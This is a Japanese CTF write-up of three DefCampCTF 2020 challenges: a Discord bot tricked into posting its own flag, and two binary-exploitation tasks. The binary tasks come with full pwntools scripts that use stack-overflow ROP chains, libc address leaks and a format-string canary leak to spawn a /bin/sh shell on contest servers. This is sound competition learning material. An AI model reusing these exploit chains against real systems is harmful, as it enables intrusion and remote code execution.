DefCampCTF 2020 Writeup

December 07, 2020

12/5-12/7 に開催された DefCampCTF に参加しました。6, 7日は仕事などがあり参加できなかったので5日の夜だけ手を出した形となりました。あまり問題は解けていないですが、備忘録も兼ねて一応解いた問題についての writeup を書きます。 (難易度 Entry Level の問題については省略します)

dumb-discord

cpython-36 のファイルが与えられるので、まずは decompile します。 uncompyle6 を使いました。 uncompyle6 server.cpython-36.pyc > server.py 得られるファイルは以下になります。

server.py

# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.8.6 (default, Sep 30 2020, 04:00:38) 
# [GCC 10.2.0]
# Embedded file name: server.py
# Compiled at: 2020-12-02 11:30:35
# Size of source mod 2**32: 1909 bytes
from discord.ext import commands
import discord, json
from discord.utils import get

def obfuscate(byt):
    mask = b'ctf{tryharderdontstring}'
    lmask = len(mask)
    return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))


def test(s):
    data = obfuscate(s.encode())
    return data


intents = discord.Intents.default()
intents.members = True
cfg = open('config.json', 'r')
tmpconfig = cfg.read()
cfg.close()
config = json.loads(tmpconfig)
token = config[test('\x17\x1b\r\x1e\x1a').decode()]
client = commands.Bot(command_prefix='/')

@client.event
async def on_ready():
    print('Connected to bot: {}'.format(client.user.name))
    print('Bot ID: {}'.format(client.user.id))


@client.command()
async def getflag(ctx):
    await ctx.send(test('\x13\x1b\x08\x1c').decode())


@client.event
async def on_message(message):
    await client.process_commands(message)
    if test('B\x04\x0f\x15\x13').decode() in message.content.lower():
        await message.channel.send(test('\x13\x1b\x08\x1c').decode())
    if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower():
        if message.author.id == 783473293554352141:
            role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode()))
            member = discord.utils.get((message.author.guild.members), id=(message.author.id))
            if role in member.roles:
                await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()]))
    if test('L\x1c\x03\x17\x04').decode() in message.content.lower():
        await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode())
    if '/s基ay' in message.content.lower():
        await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), ''))


client.run(token)
# okay decompiling server.cpython-36.pyc

xor を使ってちょっとした難読化を obfuscate 関数で行っています。これを復号してソースコードを読みやすくします。

server.py

from discord.ext import commands
import discord, json
from discord.utils import get

intents = discord.Intents.default()
intents.members = True
cfg = open('config.json', 'r')
tmpconfig = cfg.read()
cfg.close()
config = json.loads(tmpconfig)
token = config['token']
client = commands.Bot(command_prefix='/')

@client.event
async def on_ready():
    print('Connected to bot: {}'.format(client.user.name))
    print('Bot ID: {}'.format(client.user.id))


@client.command()
async def getflag(ctx):
    await ctx.send('pong')


@client.event
async def on_message(message):
    await client.process_commands(message)
    if 'ping' in message.content.lower():
        await message.channel.send('pong')
    if '/getflag' in message.content.lower():
        if message.author.id == 783473293554352141:
            role = discord.utils.get((message.author.guild.roles), name=('dctf2020.cyberedu.ro'))
            member = discord.utils.get((message.author.guild.members), id=(message.author.id))
            if role in member.roles:
                await message.channel.send(test(config['flag']))
    if '/help' in message.content.lower():
        await message.channel.send('Try harder!')
    if '/s基ay' in message.content.lower():
        await message.channel.send(message.content.replace('/s基ay', '').replace('/getflag', ''))


client.run(token)

config の中に flag が入っており、それを bot が発言してくれるための条件は、

id が 783473293554352141 の人が /getflag と発言する
その発言者は dctf2020.cyberedu.ro というロールを持つ必要がある

ということがわかります。

この id = 783473293554352141 の人をどう探すのかというところに結構時間をかけてしまいました…運営の用意した discord server の中にこの人がいて、 /getflag と発言しているのを検索で見つけ出すという問題かなと最初は思ったのですが、全然見つかりません。

discord の仕様についてよくわかっていなかったため、とりあえず手元で discord の bot を作ってみようと思ったところ、 bot をチャンネルに登録するときに https://discord.com/api/oauth2/authorize?client_id=CLIENT_ID&permissions=0&scope=bot というリンクを踏むことで登録できることを知りました。そのときに「もしかして 783473293554352141 は bot の ID だったりしないだろうか…？」と思い https://discord.com/api/oauth2/authorize?client_id=783473293554352141&permissions=0&scope=bot にアクセスすると、それっぽい bot を招待することができました。783473293554352141 は↑で動いている bot そのものだったというわけです。

ここでようやく /s基ay というコマンドが意味を持ち始めました。このコマンドは /s基ay と /getflag を空文字に変換して返してくれます。これを使って bot に /getflag と発言させればクリアとなりそうです (bot の role に dctf2020.cyberedu.ro を登録するのを忘れずに)。自分の場合は

/s基ay //getflaggetflag

と入力することで

b'\x00\x00\x00\x00E\x10A\x0e\x00E\x02VA\x00\x0eXC\x17\x12\x17\x0b_\x03H\x05C_CAB\x1d\x0b\x07CWSAT\r[AEG\x17PVRKU\x16\x00L\x16EOZYC\x00QB]\x0bYFK\x17D\x14'

という文字列を得ました。これは obfuscate されているため再び xor で戻してあげると、フラグが得られました。

ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}

bazooka

ソースコードがないのでまずは静的解析をします。 vuln という、いかにもな関数が存在しているので、それの呼び出し元を見てみます。

│           0x004007c1      488d4590       lea rax, [s1]
│           0x004007c5      4889c6         mov rsi, rax
│           0x004007c8      488d3dba0100.  lea rdi, [0x00400989]       ; "%s" ; const char *format
│           0x004007cf      b800000000     mov eax, 0
│           0x004007d4      e827feffff     call sym.imp.__isoc99_scanf ;[3] ; int scanf(const char *format)
│           0x004007d9      488d4590       lea rax, [s1]
│           0x004007dd      488d353d0200.  lea rsi, str.try_hard3r     ; 0x400a21 ; "#!@{try_hard3r}" ; const char *s2
│           0x004007e4      4889c7         mov rdi, rax                ; const char *s1
│           0x004007e7      e8f4fdffff     call sym.imp.strcmp         ;[4] ; int strcmp(const char *s1, const char *s2)
│           0x004007ec      85c0           test eax, eax
│       ┌─< 0x004007ee      750c           jne 0x4007fc
│       │   0x004007f0      b800000000     mov eax, 0
│       │   0x004007f5      e8fdfeffff     call sym.vuln               ;[5]

まずは #!@{try_hard3r} という文字列を入力することで vuln 関数に飛べるようです。

vuln 関数を見てみます。

┌ 97: sym.vuln ();
│           ; var int64_t var_70h @ rbp-0x70
│           0x004006f7      55             push rbp
│           0x004006f8      4889e5         mov rbp, rsp
│           0x004006fb      4883ec70       sub rsp, 0x70
│           0x004006ff      488d3d120200.  lea rdi, str.Welcome_to_Bazooka_Station    ; 0x400918 ; "------  Welcome to Bazooka Station -----\n" ; const char *s
│           0x00400706      e8a5feffff     call sym.imp.puts           ;[1] ; int puts(const char *s)
│           0x0040070b      488d3d300200.  lea rdi, str.Alterate_data_and_crash    ; 0x400942 ; "Alterate data and crash" ; const char *format
│           0x00400712      b800000000     mov eax, 0
│           0x00400717      e8b4feffff     call sym.imp.printf         ;[2] ; int printf(const char *format)
│           0x0040071c      488d3d3d0200.  lea rdi, str.Before_to_type__look_around____Message:    ; 0x400960 ; "\nBefore to type, look around! \nMessage: " ; const char *format
│           0x00400723      b800000000     mov eax, 0
│           0x00400728      e8a3feffff     call sym.imp.printf         ;[2] ; int printf(const char *format)
│           0x0040072d      488d4590       lea rax, [var_70h]
│           0x00400731      4889c6         mov rsi, rax
│           0x00400734      488d3d4e0200.  lea rdi, [0x00400989]       ; "%s" ; const char *format
│           0x0040073b      b800000000     mov eax, 0
│           0x00400740      e8bbfeffff     call sym.imp.__isoc99_scanf ;[3] ; int scanf(const char *format)
│           0x00400745      488d3d400200.  lea rdi, str.Hacker_alert    ; 0x40098c ; "Hacker alert!!!" ; const char *s
│           0x0040074c      e85ffeffff     call sym.imp.puts           ;[1] ; int puts(const char *s)
│           0x00400751      b800000000     mov eax, 0
│           0x00400756      c9             leave
└           0x00400757      c3             ret
            ; CALL XREF from sym.l00p @ 0x40080d

scanf で標準入力を受け付けているが、文字数チェックを行っていないのでスタックオーバーフローが狙えそうです。 canary もないので ROP をしていきます。

まずは libc のバージョンをリークします。

pop rdi; ret
GOT のアドレス
puts のアドレス
vuln のアドレス

を return address 以降に書き込むことで、 GOT のアドレスを表示しつつ vuln 関数に戻ってきます。

from pwn import *

p = remote("34.89.211.188", 30027)

elf = ELF("./pwn_bazooka_bazooka")
context.binary = elf

offset = b"A" * (0x70 + 8)
p.sendlineafter("Secret message: ", "#!@{try_hard3r}")


def leak(address):
    payload = b""
    rop = ROP(elf)
    rop.raw(rop.find_gadget(["pop rdi", "ret"]))
    rop.raw(address)
    rop.call(elf.plt.puts)
    rop.raw(elf.symbols["vuln"])
    print(rop.dump())
    payload += offset
    payload += rop.chain()
    p.sendlineafter("Message: ", payload)
    _ = p.recvline()
    leaked = p.recvline().strip()
    leaked = unpack(leaked.ljust(8, b"\0"))
    print(hex(leaked))
    return leaked


puts_got = leak(elf.got.puts)
printf_got = leak(elf.got.printf)

これで得られた puts や printf の GOT のアドレスを https://libc.rip/ に入力し、対応する libc (libc6_2.27-3ubuntu1.3_amd64.so) を入手しました。あとは sytem("/bin/sh") を呼び出すだけです。

libc = ELF("./libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = printf_got - libc.symbols.printf

payload = b""
rop = ROP(elf)
rop.system(next(libc.search(b"/bin/sh")), 0)
print(rop.dump())
payload += offset
payload += rop.chain()
p.sendlineafter("Message: ", payload)
p.interactive()

ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}

darkmagic

この問題も vuln といういかにもな関数があるので見てみます。

│           0x004007a7      c74584010000.  mov dword [var_7ch], 1
│           0x004007ae      c7851cffffff.  mov dword [var_e4h], 0
│       ┌─< 0x004007b8      eb71           jmp 0x40082b
│       │   ; CODE XREF from sym.vuln @ 0x400834
│      ┌──> 0x004007ba      488d8520ffff.  lea rax, [format]
│      ╎│   0x004007c1      ba00020000     mov edx, 0x200              ; 512 ; size_t nbyte
│      ╎│   0x004007c6      4889c6         mov rsi, rax                ; void *buf
│      ╎│   0x004007c9      bf00000000     mov edi, 0                  ; int fildes
│      ╎│   0x004007ce      e86dfeffff     call sym.imp.read           ;[1] ; ssize_t read(int fildes, void *buf, size_t nbyte)
│      ╎│   0x004007d3      488d8520ffff.  lea rax, [format]
│      ╎│   0x004007da      4883c068       add rax, 0x68               ; 104
│      ╎│   0x004007de      ba00020000     mov edx, 0x200              ; 512 ; size_t nbyte
│      ╎│   0x004007e3      4889c6         mov rsi, rax                ; void *buf
│      ╎│   0x004007e6      bf00000000     mov edi, 0                  ; int fildes
│      ╎│   0x004007eb      e850feffff     call sym.imp.read           ;[1] ; ssize_t read(int fildes, void *buf, size_t nbyte)
│      ╎│   0x004007f0      488d8520ffff.  lea rax, [format]
│      ╎│   0x004007f7      4889c7         mov rdi, rax                ; const char *format
│      ╎│   0x004007fa      b800000000     mov eax, 0
│      ╎│   0x004007ff      e82cfeffff     call sym.imp.printf         ;[2] ; int printf(const char *format)
│      ╎│   0x00400804      488d8520ffff.  lea rax, [format]
│      ╎│   0x0040080b      4883c068       add rax, 0x68               ; 104
│      ╎│   0x0040080f      4889c7         mov rdi, rax                ; const char *format
│      ╎│   0x00400812      b800000000     mov eax, 0
│      ╎│   0x00400817      e814feffff     call sym.imp.printf         ;[2] ; int printf(const char *format)
│      ╎│   0x0040081c      8b4584         mov eax, dword [var_7ch]
│      ╎│   0x0040081f      83f80a         cmp eax, 0xa                ; 10
│     ┌───< 0x00400822      7f14           jg 0x400838
│     │╎│   0x00400824      83851cffffff.  add dword [var_e4h], 1
│     │╎│   ; CODE XREF from sym.vuln @ 0x4007b8
│     │╎└─> 0x0040082b      8b4584         mov eax, dword [var_7ch]
│     │╎    0x0040082e      39851cffffff   cmp dword [var_e4h], eax
│     │└──< 0x00400834      7c84           jl 0x4007ba

2回 read で 0x200 文字読み込み、それらを printf で出力しています。format string attack と stack overflow の脆弱性がありそうです。しかし今回は canary があるので単純には stack overflow ができません。そのため、まずは format string attack で canary をリークし、その後 stack overflow を使って ROP をしていく方針にしました (read が2回できることを上手く使えていないので、想定解は違うのかも)。

まずは canary のリーク。

from pwn import *
import time

sleep_time = 0.3
# context.log_level = "DEBUG"
#p = process("./pwn_darkmagic")
#p = remote("localhost", 7777)
p = remote("35.234.65.24", 30750)

elf = ELF("./pwn_darkmagic")
context.binary = elf

_ = p.recvuntil("Dark Magic is here!\n")
time.sleep(sleep_time)

# 8番目が $rbp-0xe0 に対応
canary_idx = 8 + 0xe0 // 8 - 1
payload = b""
payload += f"%{canary_idx}$016lx".encode()
payload += b"A" * (0x64 - len(payload)) + pack(2)  # もう一度 read を呼ぶために pack(2) が必要
p.sendline(payload)
time.sleep(sleep_time)
p.sendline(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ")  # 適当
time.sleep(sleep_time)
ret = p.recvline()
canary = int(ret[:16], 16)
print(hex(canary))

canary をリークしてしまえばあとは bazooka の問題と同様に、 libc のリーク後に /bin/sh の実行をします。

def leak(address):
    rop = ROP(elf)
    rop.raw(rop.find_gadget(["pop rdi", "ret"]))
    rop.raw(address)
    rop.call(elf.plt.puts)
    rop.raw(elf.symbols["vuln"])
    print(rop.dump())
    payload = b""
    offset = b"A"*(0xe0 - 0x68 - 8) + pack(canary) + b"A"*8
    payload += offset
    payload += rop.chain()
    time.sleep(sleep_time)
    p.sendline(b"A\0")
    time.sleep(sleep_time)
    p.sendline(payload)
    time.sleep(sleep_time)
    leaked = p.recvline()
    leaked = unpack(leaked[-7: -1].ljust(8, b"\0"))
    print(hex(leaked))
    return leaked

puts_got = leak(elf.got.puts)
printf_got = leak(elf.got.printf)

libc = ELF("./libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = printf_got - libc.symbols.printf

rop = ROP(libc)
rop.execve(next(libc.search(b"/bin/sh")), 0)
print(rop.dump())
payload = b""
offset = b"A"*(0xe0 - 0x68 - 8) + pack(canary) + b"A"*8
payload += offset
payload += rop.chain()
time.sleep(sleep_time)
p.sendline(b"A")
time.sleep(sleep_time)
p.sendline(payload)
time.sleep(sleep_time)

p.interactive()

dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}

dumb-discord bazooka darkmagic